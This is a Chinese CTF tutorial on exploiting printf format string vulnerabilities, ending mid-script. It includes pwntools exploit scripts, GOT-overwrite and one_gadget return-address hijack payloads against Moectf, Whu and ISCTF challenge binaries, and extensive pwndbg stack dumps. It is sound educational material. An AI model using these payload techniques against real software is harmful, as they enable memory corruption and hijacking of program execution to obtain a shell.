虽然目前几乎不会出现格式化字符串漏洞,但是不可否认格式化字符串漏洞是一种威力强大的漏洞利用方式,可以实现任意地址写和任意地址读,达到数据泄露、程序崩溃甚至劫持程序流的严重后果。下面来了解一下格式化字符串漏洞的利用,先了解一下什么函数什么形式可以导致格式化字符串漏洞。先声明调试环境是wsl2虚拟机,x86_64,Ubuntu 24.04。

格式化字符串函数

  • 输入
    • scanf
  • 输出
函数 基本介绍
printf 输出到 stdout
fprintf 输出到指定 FILE 流
vprintf 根据参数列表格式化输出到 stdout
vfprintf 根据参数列表格式化输出到指定 FILE 流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
setproctitle 设置 argv
syslog 输出日志
err, verr, warn, vwarn 等 。。。

格式化字符串的格式

这里我们了解一下格式化字符串的格式,其基本格式如下

%[parameter][flags][field width][.precision][length]type
  • parameter

    • n$,获取格式化字符串中的指定参数
  • flags

  • field width

    • 输出的最小宽度
  • precision

    • 输出的最大精度
  • length

    • hh:输出一个字节

    • h:输出一个双字节

  • type:

下面列举一下格式化字符串漏洞常用的type,其他的就省略了

转义符 功能
%d 以十进制形式输出整数
%u 以十进制形式输出无符号整数
%x 以十六进制形式输出整数(小写字母)
%c 输出单个字符
%s 输出字符串
%p 输出指针的地址
%n 将已经输出的字符数写入参数

我们以printf为举例,在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况

  • 当前字符不是 %,直接输出到相应标准输出。
  • 当前字符是 %, 继续读取下一个字符
    • 如果没有字符,报错
    • 如果下一个字符是 %, 输出 %
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

形如printf(buf)是最常见的格式化字符串漏洞

栈上的利用

对于占位符数量与参数数量不相等的情况

#include <stdio.h>

int main()
{
int a = 10;
printf("The value of a is %1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p %9$p\n");
return 0;
}

另外对于64位程序,优先使用6个寄存器传参(rdi,rsi,rdx,rcx,r8,r9),多的再以栈传参,而32位程序使用栈传参

对于上面的程序,运行printf前

*RAX  0
RBX 0x7fffffffdc88 —▸ 0x7fffffffdf47 ◂— '/home/ubuntu/pragramming/test/test'
RCX 0x555555557dc0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555100 (__do_global_dtors_aux) ◂— endbr64
RDX 0x7fffffffdc98 —▸ 0x7fffffffdf6a ◂— 'HOSTTYPE=x86_64'
RDI 0x555555556008 ◂— 'The value of a is %1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p %9$p\n'
RSI 0x7fffffffdc88 —▸ 0x7fffffffdf47 ◂— '/home/ubuntu/pragramming/test/test'
R8 0
R9 0x7ffff7fca380 (_dl_fini) ◂— endbr64
R10 0x7fffffffd880 ◂— 0x800000
R11 0x203
R12 1
R13 0
R14 0x555555557dc0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555100 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
RBP 0x7fffffffdb60 —▸ 0x7fffffffdc00 —▸ 0x7fffffffdc60 ◂— 0
RSP 0x7fffffffdb50 —▸ 0x7fffffffdc40 —▸ 0x555555555060 (_start) ◂— endbr64
*RIP 0x55555555516b (main+34) ◂— call printf@plt
---------------------------------------------------------------------------------------------------------------------
00:0000│ rsp 0x7fffffffdb50 —▸ 0x7fffffffdc40 —▸ 0x555555555060 (_start) ◂— endbr64
01:0008│-008 0x7fffffffdb58 ◂— 0xaffffdc88
02:0010│ rbp 0x7fffffffdb60 —▸ 0x7fffffffdc00 —▸ 0x7fffffffdc60 ◂— 0
03:0018│+008 0x7fffffffdb68 —▸ 0x7ffff7c2a1ca (__libc_start_call_main+122) ◂— mov edi, eax
04:0020│+010 0x7fffffffdb70 —▸ 0x7fffffffdbb0 —▸ 0x555555557dc0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555100 (__do_global_dtors_aux) ◂— endbr64
05:0028│+018 0x7fffffffdb78 —▸ 0x7fffffffdc88 —▸ 0x7fffffffdf47 ◂— '/home/ubuntu/pragramming/test/test'
06:0030│+020 0x7fffffffdb80 ◂— 0x155554040
07:0038│+028 0x7fffffffdb88 —▸ 0x555555555149 (main) ◂— endbr64

打印的是

The value of a is 0x7fffffffdc88 0x7fffffffdc98 0x555555557dc0 (nil) 0x7ffff7fca380 0x7fffffffdc40 0xaffffdc88 0x7fffffffdc00 0x7ffff7c2a1ca

分别是rsi,rdx,rcx,r8,r9,[rsp],[rsp+0x8],[rsp+0x10],[rsp+0x18],rdi其实就是我们的格式化字符串,占了第一个参数

使用其他形如%k$p的格式化字符串参数可以泄露栈地址,libc地址

(栈上常有的03:0018│+008 0x7fffffffdb68 —▸ 0x7ffff7c2a1ca (__libc_start_call_main+122)),堆地址等等,可以绕过PIE(也称ASLR)

使用%n,%hn,%hhn可以实现任意地址写,注意任意写是向栈上的指针指向的内容写,而不是直接在栈上修改指针

补充一下%s也是泄露栈上的一个地址指向的数据

比如说rsp 0x7fffffffdb50 —▸ 0x7fffffffdc40 —▸ 0x555555555060 (_start) ◂— endbr64,使用%p泄露的是0x7fffffffdc40,使用%s泄露的是0x555555555060,使用%n修改的是0x555555555060

比如

#include <stdio.h>

int main()
{
int a = 10,b = 10;
printf("%1c%7$n\n");
printf("%d %d",a,b);
return 0;
}
 ► 0x555555555172 <main+41>    call   printf@plt                  <printf@plt>
format: 0x555555556004 ◂— 0x6e243725633125 /* '%1c%7$n' */
vararg: 0x7fffffffdc88 —▸ 0x7fffffffdf47 ◂— '/home/ubuntu/pragramming/test/test'
--------------------------------------------------------------------------------------------------------------------------
00:0000│ rsp 0x7fffffffdb50 —▸ 0x7fffffffdc40 —▸ 0x555555555060 (_start) ◂— endbr64
01:0008│-008 0x7fffffffdb58 ◂— 0xa0000000a /* '\n' */
02:0010│ rbp 0x7fffffffdb60 —▸ 0x7fffffffdc00 —▸ 0x7fffffffdc60 ◂— 0
03:0018│+008 0x7fffffffdb68 —▸ 0x7ffff7c2a1ca (__libc_start_call_main+122) ◂— mov edi, eax
04:0020│+010 0x7fffffffdb70 —▸ 0x7fffffffdbb0 —▸ 0x555555557dc0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555100 (__do_global_dtors_aux) ◂— endbr64
05:0028│+018 0x7fffffffdb78 —▸ 0x7fffffffdc88 —▸ 0x7fffffffdf47 ◂— '/home/ubuntu/pragramming/test/test'
06:0030│+020 0x7fffffffdb80 ◂— 0x155554040
07:0038│+028 0x7fffffffdb88 —▸ 0x555555555149 (main) ◂— endbr64
--------------------------------------------------------------------------------------------------------------------------
ni
--------------------------------------------------------------------------------------------------------------------------
► 0x7ffff7c68cc3 <printf_positional+6755> mov dword ptr [rbx], eax <Cannot dereference [0xa0000000a]>

0xa0000000a是一个非法指针,指向了非法内存,不能向这里写,所以产生了段错误

要想改动a,b的值

首先要有一个双连指针形如A->0x7fffffffdb58 ◂— 0xa0000000a

比如

#include <stdio.h>

int main()
{
int a = 10,b = 10;
long long *p=&b;
printf("%1c%8$n");
printf("%d %d",a,b);
return 0;
}

这样产生了一个双连指针

00:0000│ rsp 0x7fffffffdb40 ◂— 0
01:0008│-018 0x7fffffffdb48 ◂— 0xa0000000a /* '\n' */
02:0010│-010 0x7fffffffdb50 —▸ 0x7fffffffdb48 ◂— 0xa0000000a /* '\n' */
03:0018│-008 0x7fffffffdb58 ◂— 0x318b267389bb1200
04:0020│ rbp 0x7fffffffdb60 —▸ 0x7fffffffdc00 —▸ 0x7fffffffdc60 ◂— 0
05:0028│+008 0x7fffffffdb68 —▸ 0x7ffff7c2a1ca (__libc_start_call_main+122) ◂— mov edi, eax
06:0030│+010 0x7fffffffdb70 —▸ 0x7fffffffdbb0 —▸ 0x555555557db8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555120 (__do_global_dtors_aux) ◂— endbr64
07:0038│+018 0x7fffffffdb78 —▸ 0x7fffffffdc88 —▸ 0x7fffffffdf46 ◂— '/home/ubuntu/pragramming/test/test'

注意到0x7fffffffdb50 —▸ 0x7fffffffdb48 ◂— 0xa0000000a /* '\n' */

对这个地址0x7fffffffdb50使用%n就行了

► 0x5555555551a9 <main+64>    call   printf@plt                  <printf@plt>
format: 0x555555556004 ◂— 0x6e243825633125 /* '%1c%8$n' */
vararg: 0x7fffffffdc88 —▸ 0x7fffffffdf46 ◂— '/home/ubuntu/pragramming/test/test'

可以发现

00:0000│ rsp 0x7fffffffdb40 ◂— 0
01:0008│-018 0x7fffffffdb48 ◂— 0xa00000001
02:0010│-010 0x7fffffffdb50 —▸ 0x7fffffffdb48 ◂— 0xa00000001
03:0018│-008 0x7fffffffdb58 ◂— 0x318b267389bb1200
04:0020│ rbp 0x7fffffffdb60 —▸ 0x7fffffffdc00 —▸ 0x7fffffffdc60 ◂— 0
05:0028│+008 0x7fffffffdb68 —▸ 0x7ffff7c2a1ca (__libc_start_call_main+122) ◂— mov edi, eax
06:0030│+010 0x7fffffffdb70 —▸ 0x7fffffffdbb0 —▸ 0x555555557db8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555120 (__do_global_dtors_aux) ◂— endbr64
07:0038│+018 0x7fffffffdb78 —▸ 0x7fffffffdc88 —▸ 0x7fffffffdf46 ◂— '/home/ubuntu/pragramming/test/test'

实际利用有

  • 利用栈上的__libc_start_call_main的地址算出libc基址
  • 泄露canary达到绕过canary保护
  • 修改数据
  • 修改函数指针

等等

课堂程序

这是一个32位程序,直接用栈传参

#include <stdio.h>

void main(int argc, char ** argv)
{
char buff[36] = {0};
int a = 0;
int b = 0;
FILE *fp;
char ch;

if( (fp = fopen(argv[1], "r")) != NULL )
fread(buff, 32, 1, fp);

printf("the addresses of a b buf are %x,%x,%x\n", &a, &b, buff);

a = 0;
printf(buff);
printf("a= %d\n", a);
if(fp)
fclose(fp);
}

a的地址有了

pwndbg>
the addresses of a b buf are ffffccdc,ffffcce0,ffffcce8

printf(buff)前

00:0000│ esp 0xffffccb0 —▸ 0xffffcce8 ◂— '%2025c%1$n'
01:0004│-064 0xffffccb4 —▸ 0xffffccdc ◂— 0
02:0008│-060 0xffffccb8 —▸ 0xffffcce0 ◂— 0
03:000c│-05c 0xffffccbc —▸ 0xffffcce8 ◂— '%2025c%1$n'

a的地址刚好在第一个参数,还有一个双连指针!!!

还说什么了

直接向这里写

printf后

00:0000│ esp 0xffffccb0 —▸ 0xffffcce8 ◂— '%2025c%1$n'
01:0004│-064 0xffffccb4 —▸ 0xffffccdc ◂— 0x7e9
02:0008│-060 0xffffccb8 —▸ 0xffffcce0 ◂— 0
03:000c│-05c 0xffffccbc —▸ 0xffffcce8 ◂— '%2025c%1$n'

完美符合要求

 ~/pragramming  ./vul in
the addresses of a b buf are ff8eacac,ff8eacb0,ff8eacb8
�a= 2025

in的内容是

%2025c%1$n

泄露的利用

对于这个程序(Moectf2025 fmt)

int __fastcall main(int argc, const char **argv, const char **envp)
{
char *s2_1; // [rsp+8h] [rbp-88h]
char s1[16]; // [rsp+10h] [rbp-80h] BYREF
char s2[16]; // [rsp+20h] [rbp-70h] BYREF
char s[88]; // [rsp+30h] [rbp-60h] BYREF
unsigned __int64 v8; // [rsp+88h] [rbp-8h]

v8 = __readfsqword(0x28u);
init(argc, argv, envp);
s2_1 = (char *)malloc(0x20uLL);
generate(s2, 5LL);
generate(s2_1, 5LL);
puts("Hey there, little one, what's your name?");
fgets(s, 80, stdin);
printf("Nice to meet you,");
printf(s);
puts("I buried two treasures on the stack.Can you find them?");
fgets(s1, 8, stdin);
if ( strncmp(s1, s2, 5uLL) )
lose();
puts("Yeah,another one?");
fgets(s1, 8, stdin);
if ( strncmp(s1, s2_1, 5uLL) )
lose();
win();
return 0;
}
unsigned __int64 __fastcall generate(__int64 a1, unsigned __int64 i_1)
{
unsigned __int64 i; // [rsp+18h] [rbp-48h]
char abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
strcpy(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
for ( i = 0LL; i < i_1; ++i )
*(_BYTE *)(a1 + i) = abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[(int)arc4random_uniform(52LL)];
*(_BYTE *)(a1 + i_1) = 0;
return v5 - __readfsqword(0x28u);
}
int win()
{
puts("You got it!");
return system("/bin/sh");
}

运行完generate后

00:0000│ rsp 0x7ffcc2f736c0 ◂— 0xc000
01:0008│-088 0x7ffcc2f736c8 —▸ 0x654944ad82a0 ◂— 0x4e4c654b67 /* 'gKeLN' */
02:0010│-080 0x7ffcc2f736d0 ◂— 0x1b00000
03:0018│-078 0x7ffcc2f736d8 ◂— 0x300000
04:0020│-070 0x7ffcc2f736e0 ◂— 0x4e6966444f /* 'ODfiN' */
05:0028│-068 0x7ffcc2f736e8 —▸ 0x7ffcc2f73718 ◂— 0
06:0030│-060 0x7ffcc2f736f0 ◂— 0xc500000006
07:0038│-058 0x7ffcc2f736f8 ◂— 0

可以看到一个密码储存在一个地址处,第一个/* 'gKeLN' */可以用%s泄露,另一个密码就是栈上的地址/* 'ODfiN' */,可以用%p泄露

计算好偏移并利用格式化字符串漏洞

接收泄露的密码,再发送出去就可以了

p = start()
p.recvuntil(b"Hey there, little one, what's your name?\n")
payload=b'A'*8+b'%7$s'+b'%10$p'
p.sendline(payload)
p.recvuntil(b"Nice to meet you,")
p.recvuntil(b'A'*8)
s2_1= p.recv(5)
hex_str=p.recv(12)
hex_int = int(hex_str, 16)
byte_data = hex_int.to_bytes(length=5, byteorder='little')
s2 = byte_data.decode('ascii', errors='ignore')
p.recvuntil(b"I buried two treasures on the stack.Can you find them?\n")
p.sendline(s2)
p.recvuntil(b"Yeah,another one?\n")
p.sendline(s2_1)
p.interactive()

栈上构造地址形成双连指针

以Whu2025迎新赛的格式化字符串漏洞题举例

原本没有指向需要修改的地址的指针

那么在知道地址的情况下可以在输入内构造地址(注意地址的对齐)

然后偏移指向构造的地址

对于攻击payload=b'%214c%11$hhn'+b'%59c%12$hhn' +b'%47c%13$hhn'+b'aaaaaa'+p64(addr)+ p64(addr+1)+p64(addr+2)

printf前

 ► 0x401286 <main+150>    call   printf@plt                  <printf@plt>
format: 0x7ffe55316750 ◂— '%214c%11$hhn%59c%12$hhn%47c%13$hhnaaaaaa@@@'
vararg: 0x7ffe55316750 ◂— '%214c%11$hhn%59c%12$hhn%47c%13$hhnaaaaaa@@@'
--------------------------------------------------------------------------------------------------------------------------
00:0000│ rdi rsi rsp 0x7ffe55316750 ◂— '%214c%11$hhn%59c%12$hhn%47c%13$hhnaaaaaa@@@'
01:0008│-108 0x7ffe55316758 ◂— '$hhn%59c%12$hhn%47c%13$hhnaaaaaa@@@'
02:0010│-100 0x7ffe55316760 ◂— '%12$hhn%47c%13$hhnaaaaaa@@@'
03:0018│-0f8 0x7ffe55316768 ◂— '47c%13$hhnaaaaaa@@@'
04:0020│-0f0 0x7ffe55316770 ◂— 'hnaaaaaa@@@'
05:0028│-0e8 0x7ffe55316778 —▸ 0x404040 (exit@got[plt]) —▸ 0x401080 ◂— endbr64
06:0030│-0e0 0x7ffe55316780 —▸ 0x404041 (exit@got[plt]+1) ◂— 0x4010
07:0038│-0d8 0x7ffe55316788 —▸ 0x404042 (exit@got[plt]+2) ◂— 0x40 /* '@' */

printf后

 ► 0x401290 <main+160>    call   exit@plt                    <exit@plt>
status: 0
--------------------------------------------------------------------------------------------------------------------------
00:0000│ rsp 0x7ffe55316750 ◂— '%214c%11$hhn%59c%12$hhn%47c%13$hhnaaaaaa@@@'
01:0008│-108 0x7ffe55316758 ◂— '$hhn%59c%12$hhn%47c%13$hhnaaaaaa@@@'
02:0010│-100 0x7ffe55316760 ◂— '%12$hhn%47c%13$hhnaaaaaa@@@'
03:0018│-0f8 0x7ffe55316768 ◂— '47c%13$hhnaaaaaa@@@'
04:0020│-0f0 0x7ffe55316770 ◂— 'hnaaaaaa@@@'
05:0028│-0e8 0x7ffe55316778 —▸ 0x404040 (exit@got[plt]) —▸ 0x4011d6 (backdoor) ◂— endbr64
06:0030│-0e0 0x7ffe55316780 —▸ 0x404041 (exit@got[plt]+1) ◂— 0x4011
07:0038│-0d8 0x7ffe55316788 —▸ 0x404042 (exit@got[plt]+2) ◂— 0x40 /* '@' */

在调用exit是就会调用backdoor

io = start() 
io.recvuntil(b'What do you want to do?\n')
addr=0x404040
payload=b'%214c%11$hhn'+b'%59c%12$hhn' +b'%47c%13$hhn'+b'aaaaaa'+p64(addr)+ p64(addr+1)+p64(addr+2)
io.sendline(payload)
io.interactive()

非栈上格式化字符串漏洞的利用

以Moectf2025 fmt_s举例

这里我们利用的是三连指针

int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-4h]

init(argc, argv, envp);
puts("You're walking down the road when a monster appear.");
for ( i = 1; i <= 3 && !flag; ++i )
talk();
if ( (unsigned __int64)atk <= 0x1BF52 )
puts("You've been eaten by the monster.");
else
he();
return 0;
}
__int64 talk()
{
puts("You start talking to him...");
flag ^= 1u;
read(0, fmt, 0x20uLL);
printf(fmt);
puts("?");
puts("You enraged the monster-prepare for battle!");
return my_read(&atk, 8LL);
}
unsigned __int64 he()
{
char command[6]; // [rsp+2h] [rbp-Eh] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
qmemcpy(command, "a_flag", sizeof(command));
puts("The monster is defeated, and you obtain: flag?");
system(command);
return v2 - __readfsqword(0x28u);

fmt写入在bss段上,属于一道非栈上格式化字符串漏洞题

.bss:00000000004040A0                 public atk
.bss:00000000004040A0 atk dq ? ; DATA XREF: talk+7A↑o
.bss:00000000004040A0 ; main:loc_4013BE↑r
.bss:00000000004040A8 public flag
.bss:00000000004040A8 flag dd ? ; DATA XREF: talk+1B↑r
.bss:00000000004040A8 ; talk+24↑w ...
.bss:00000000004040AC align 20h
.bss:00000000004040C0 public fmt
.bss:00000000004040C0 ; char fmt[256]
.bss:00000000004040C0 fmt db 100h dup(?) ; DATA XREF: talk+2F↑o
.bss:00000000004040C0 ; talk+43↑o
.bss:00000000004040C0 _bss ends

没有后门函数,最好的方法就是使用one_gadget,修改返回地址来达到劫持程序的目的

00:0000 |  rsp 0x7ffd9784e118 → 0x40127c (vuln+101) ← lea rax, [rip + 0x2ddd]
01:0008 | -010 0x7ffd9784e120 → 0x40129e (main) ← endbr64
02:0010 | -008 0x7ffd9784e128 ← 0x3004011fa
03:0018 | rbp 0x7ffd9784e130 → 0x7ffd9784e140 ← 1
04:0020 | +008 0x7ffd9784e138 → `0x4012ba (main+28)` ← mov eax, 0
05:0028 | +010 0x7ffd9784e140 ← 1
06:0030 | +018 0x7ffd9784e148 → 0x7fecc58f6d90 (__libc_start_call_main+128) ← mov edi, eax
07:0038 | +020 0x7ffd9784e150 ← 0
08:0040 | +028 0x7ffd9784e158 → 0x40129e (main) ← endbr64
09:0048 | +030 0x7ffd9784e160 ← 0x19784e240
0a:0050 | +038 `0x7ffd9784e168 → 0x7ffd9784e258 → 0x7ffd9785011b` ← 0x4853006e77702f2e / * './pwn' */
0b:0058 | +040 0x7ffd9784e170 ← 0
0c:0060 | +048 0x7ffd9784e178 ← 0xe37404db4f04c105
0d:0068 | +050 0x7ffd9784e180 → 0x7ffd9784e258 → 0x7ffd9785011b ← 0x4853006e77702f2e / * './pwn' */
0e:0070 | +058 0x7ffd9784e188 → 0x40129e (main) ← endbr64
0f:0078 | +060 0x7ffd9784e190 → 0x403db8 (__do_global_dtors_aux_fini_array_entry) → 0x401180 (__do_global_dtors_aux) ← endbr64

非栈上格式化字符串一般是打一个指针串,就是先修改一个指针指向的指针,将其修改为想要改动地方,然后修改这个指针指向的内容

比如说,上面0x4012ba (main+28)是 vul 函数的返回地址,我们是不能直接修改这个值的

栈地址1 -->栈地址2-->addr3,已知栈地址1是第几个参数,我们使用%n修改的是 addr3

栈上一般都有一些符合上述形式的链,如0a:0050 | +038 0x7ffd9784e168 → 0x7ffd9784e258 → 0x7ffd9785011b

我们可以修改 addr3 为 0x7ffd9784e138 (vul 函数返回地址在栈上的位置)

这样的话,我们只需要知道栈地址2是第几个参数,那么我们就可以通过栈地址2-->addr3-->vul_ret_addr来修改 vul 函数的返回地址

“诸葛连弩”

栈上一般都会有可以获得libc基地址的东西,比如说__libc_start_main

我们先来看看talk函数的栈内容吧

00:0000│ rsp 0x7ffea6500670 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
01:0008│-008 0x7ffea6500678 —▸ 0x40136f (main) ◂— endbr64
02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1
03:0018│+008 0x7ffea6500688 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1
04:0020│+010 0x7ffea6500690 ◂— 0x1000
05:0028│+018 0x7ffea6500698 ◂— 0x100401110
06:0030│+020 0x7ffea65006a0 ◂— 1
07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax
08:0040│+030 0x7ffea65006b0 ◂— 0
09:0048│+038 0x7ffea65006b8 —▸ 0x40136f (main) ◂— endbr64
0a:0050│+040 0x7ffea65006c0 ◂— 0x1a65007a0
0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
0c:0060│+050 0x7ffea65006d0 ◂— 0
0d:0068│+058 0x7ffea65006d8 ◂— 0x6d26ff8a1914566c
0e:0070│+060 0x7ffea65006e0 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
0f:0078│+068 0x7ffea65006e8 —▸ 0x40136f (main) ◂— endbr64
10:0080│+070 0x7ffea65006f0 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
11:0088│+078 0x7ffea65006f8 —▸ 0x7913edace040 (_rtld_global) —▸ 0x7913edacf2e0 ◂— 0
12:0090│+080 0x7ffea6500700 ◂— 0x92dbb32a1476566c
13:0098│+088 0x7ffea6500708 ◂— 0x9f01248f239e566c
14:00a0│+090 0x7ffea6500710 ◂— 0x791300000000
15:00a8│+098 0x7ffea6500718 ◂— 0
... ↓ 3 skipped
19:00c8│+0b8 0x7ffea6500738 ◂— 0xb0add8007ab87600
1a:00d0│+0c0 0x7ffea6500740 ◂— 0
1b:00d8│+0c8 0x7ffea6500748 —▸ 0x7913ed829e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]
1c:00e0│+0d0 0x7ffea6500750 —▸ 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash'
1d:00e8│+0d8 0x7ffea6500758 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
1e:00f0│+0e0 0x7ffea6500760 —▸ 0x7913edacf2e0 ◂— 0
1f:00f8│+0e8 0x7ffea6500768 ◂— 0
20:0100│+0f0 0x7ffea6500770 ◂— 0
21:0108│+0f8 0x7ffea6500778 —▸ 0x401110 (_start) ◂— endbr64
22:0110│+100 0x7ffea6500780 —▸ 0x7ffea65007b0 ◂— 1
23:0118│+108 0x7ffea6500788 ◂— 0
24:0120│+110 0x7ffea6500790 ◂— 0
25:0128│+118 0x7ffea6500798 —▸ 0x401135 (_start+37) ◂— hlt
26:0130│+120 0x7ffea65007a0 —▸ 0x7ffea65007a8 ◂— 0x1c
27:0138│+128 0x7ffea65007a8 ◂— 0x1c
28:0140│+130 0x7ffea65007b0 ◂— 1
29:0148│ r12 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
2a:0150│+140 0x7ffea65007c0 ◂— 0
2b:0158│+148 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash'
2c:0160│+150 0x7ffea65007d0 —▸ 0x7ffea6502a24 ◂— 'COLORTERM=truecolor'

从这里可以得到libc基址

1b:00d8│+0c8 0x7ffea6500748 —▸ 0x7913ed829e40 (__libc_start_main+128)

偏移量是33,使用%33$p将地址输出出来并计算libc基址得到one_gadget地址

观察发现07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax是主函数的返回地址

偏移量是13,使用%13$p将地址输出出来便于修改为one_gadget

再将rbp的地址打印出来,便于修改rbp并得到栈地址来达成one_gadget实现条件

02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1

偏移量是8,打印 0x7ffea65006a0,再减去0x20得到rbp地址,前面的泄露可以一次性泄露出来

我们还需要无限次操作,修改i是必要的,此时我们只剩下两次操作机会,相当于只能修改一次任意地址的任意内容

注意到i是栈上的,第一次我们修改一个栈地址1 -->栈地址2-->addr3指针串的addr3i的符号位地址,第二次利用栈地址2-->i_addr-->i来修改i的内容

这是第二次read前

00:0000│ rsp 0x7ffea6500670 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
01:0008│-008 0x7ffea6500678 ◂— 0x80040136f
02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1
03:0018│+008 0x7ffea6500688 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1
04:0020│+010 0x7ffea6500690 ◂— 0x1000
05:0028│+018 0x7ffea6500698 ◂— 0x200401110
06:0030│ r9 0x7ffea65006a0 ◂— 1
07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax

我们知道了

int i; // [rsp+Ch] [rbp-4h]05:0028│+018 0x7ffea6500698 ◂— 0x200401110,这个2正是存放在主函数的栈上的i

所以地址是rbp+0x18,又因为要改的是符号位,所以地址是rbp+0x18+7

详细演示一下这段代码的作用

p.recvuntil(b"You start talking to him...\n")
payload2=b"%" + str(i_addr).encode("utf-8") + b"c%17$hn\x00"
p.send(payload2)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")
p.recvuntil(b"You start talking to him...\n")
payload3=b"%" + str(0xff).encode("utf-8") + b"c%47$hhn"
p.send(payload3)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")

第一次修改后关键的变化是

0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100

此时0x7ffea650069f指向的恰好是i的最高位地址05:0028│+018 0x7ffea6500698 ◂— 0x200401110

我们利用的是0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100

找到第二个指针串29:0148│ r12 0x7ffea65007b8 —▸ 0x7ffea650069f ◂— 0x100的栈地址0x7ffea65007b8的偏移量是47

我们就可以利用这个来修改我们i的最高位了

第二次修改后关键的变化是

05:0028│+018 0x7ffea6500698 ◂— 0x300401110
05:0028│+018 0x7ffea6500698 ◂— 0xff00000300401110

可以看到我们已经实现了无限写

后面的修改也是类似

就可以实现劫持程序执行one_gadget

“四马分肥”

如果说诸葛连弩是使用一个指针串利用4次,那么四马分肥就是使用四个指针串利用1次

这对指针串的要求有点高,但是可以解决需要一次完成的程序

比如ISCTF2025的这道

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int n4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
print_logo();
__isoc99_scanf("%d", &n4);
if ( n4 == 4 )
break;
if ( n4 <= 4 )
{
switch ( n4 )
{
case 3:
show();
break;
case 1:
add();
break;
case 2:
delete();
break;
}
}
}
exit(0);
}

主函数使用exit退出,而不是return

unsigned __int64 show()
{
_DWORD v1[2]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1[0] = 0;
v1[1] = 0;
printf("> ");
__isoc99_scanf("%d", v1);
if ( !*((_QWORD *)&list + v1[0]) )
exit(0);
printf(*((const char **)&list + v1[0]));
puts(&s_);
return v2 - __readfsqword(0x28u);
}

只能使用show这个return,如果使用诸葛连弩,在利用一次后就可能返回到错误地址了,所以我们就可以用四马分肥这种打法了

也是差不多的思想,就是格式要注意一下

one_gadget_addr=libc_base+0xebc81
one_gadget_1 = one_gadget_addr & 0xffff
one_gadget_2 = (one_gadget_addr >> 16) & 0xffff
one_gadget_3 = (one_gadget_addr >> 32) & 0xffff
one_gadget_4 = (one_gadget_addr >> 48) & 0xffff
one_gadget_5 = (0x10000+one_gadget_2-one_gadget_1)& 0xffff
one_gadget_6 = (0x10000+one_gadget_3-one_gadget_2)& 0xffff

payload2 = b"%" + str(one_gadget_1).encode("utf-8") + b"c%12$hn"
payload2 += b"%" + str(one_gadget_5).encode("utf-8") + b"c%47$hn"
